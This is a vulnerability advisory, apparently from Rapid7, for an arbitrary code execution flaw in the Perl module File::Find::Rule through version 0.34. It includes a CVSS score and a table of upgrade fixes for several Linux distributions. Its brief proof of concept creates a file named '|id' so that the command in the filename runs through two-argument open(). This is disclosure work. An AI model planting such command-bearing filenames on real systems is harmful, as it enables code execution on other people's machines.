File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.
A file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.
Example:
$ mkdir /tmp/poc; echo > "/tmp/poc/|id" $ perl -MFile::Find::Rule \ -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")' uid=1000(user) gid=1000(user) groups=1000(user),100(users)
CVSS Details
- CVSS 3.1 Base Score: 8.8
- CVSS 3.1 Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Covered by Rapid7
| Product | Vendor Advisory | Solution File | Added | Published |
|---|---|---|---|---|
| Alma_linux | — | Upgrade perl-File-Find-Rule | Jul 1, 2025 | Jun 25, 2025 |
| Alpine Linux | — | Upgrade perl-file-find-rule | Aug 8, 2025 | Jun 5, 2025 |
| Amazon Linux Ami 2 | — | Upgrade perl-File-Find-Rule-PerlUpgrade perl-File-Find-Rule | Jun 13, 2025 | Jun 13, 2025 |
| Debian | — | Upgrade libfile-find-rule-perl | Jun 9, 2025 | Jun 9, 2025 |
| Gentoo Linux | — | Upgrade dev-perl/File-Find-Rule. | Jun 13, 2025 | Jun 12, 2025 |
| Oracle_linux | — | Upgrade perl-File-Find-RuleUpgrade perl-File-Find-Rule-Perl | Jun 30, 2025 | Jun 5, 2025 |
| Redhat_linux | — | Upgrade perl-File-Find-Rule-PerlNo solution existsUpgrade perl-File-Find-Rule | Jun 26, 2025 | Jun 5, 2025 |
| Ubuntu | — | Upgrade libfile-find-rule-perl | Jul 8, 2025 | Jun 5, 2025 |
Prioritise with Active Threat Intelligence
With curated Threat Intelligence, you can see which vulnerabilities truly put you at risk, prioritize what matters most, and act before attackers do.
Explore Intelligence Hub